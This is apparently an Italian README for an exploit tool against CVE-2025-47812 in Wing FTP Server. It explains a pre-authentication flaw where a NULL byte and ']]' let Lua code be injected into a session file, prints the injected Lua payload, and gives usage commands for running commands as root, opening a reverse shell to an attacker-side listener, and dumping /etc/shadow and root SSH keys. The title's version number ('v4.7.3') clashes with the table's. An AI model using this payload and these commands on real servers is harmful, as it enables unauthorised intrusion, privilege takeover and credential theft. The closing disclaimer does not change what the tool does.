
RCE per WingFTP v4.7.3
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2025-47812 |
| Versioni interessate | Wing FTP Server <= 7.4.3 |
| Versione corretta | Wing FTP Server 7.4.4 |
| CVSS | 10.0 (Critico) |
| Autenticazione richiesta | Nessuna (login anonimo sufficiente) |
| Privilegi ottenuti | root (Linux) / NT AUTHORITY\SYSTEM (Windows) |
| Scoperto da | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
L'interfaccia web di Wing FTP Server è vulnerabile a un attacco di Remote Code Execution (esecuzione di codice in remoto) pre-autenticazione in due fasi.
La funzione c_CheckUser() nel binario di Wing FTP usa internamente strlen(), che tronca la stringa del nome utente al primo NULL byte (\x00). Ciò significa che un nome utente come anonymous%00<dati_arbitrari> supera l'autenticazione purché anonymous (o qualsiasi utente valido) esista.
Dopo che l'autenticazione riesce, loginok.html chiama rawset(_SESSION, "username", username) usando il parametro POST completo e non sanitizzato — inclusi tutti i dati dopo il NULL byte. La sessione viene poi serializzata in un file script Lua su disco tramite SessionModule.save().
Poiché la funzione di serializzazione racchiude i valori stringa in letterali Lua di stringa lunga [[...]] senza alcuna sanitizzazione, iniettare ]] nel nome utente termina il letterale di stringa prematuramente, consentendo di aggiungere codice Lua arbitrario al file di sessione.
Struttura del payload:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
Il -- finale commenta la ]] che Wing FTP aggiunge dopo il valore.
Il file di sessione (chiamato in base al valore del cookie UID) è uno script Lua che viene eseguito tramite loadfile() + f() ogni volta che viene acceduto a un endpoint autenticato. L'invio di POST /dir.html con il cookie UID esegue il Lua iniettato e restituisce l'output del comando nel corpo della risposta, prima del contenuto <?xml.
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Comando singolo
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target per IP (Wing FTP usa il routing per virtual-host — fornisci l'hostname con --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Pseudo-shell interattiva
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (avvia prima un listener nc separato)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell con listener integrato
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Estrai file sensibili (/etc/passwd, /etc/shadow, Wing.cfg, chiave SSH di root)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# Con credenziali non anonime
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Aggiornare Wing FTP Server alla versione 7.4.4 o successiva.
Questo strumento è fornito solo a scopo educativo e per test di penetrazione autorizzati. Eseguire questo exploit contro sistemi di cui non si è proprietari o per cui non si ha un'esplicita autorizzazione scritta è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio.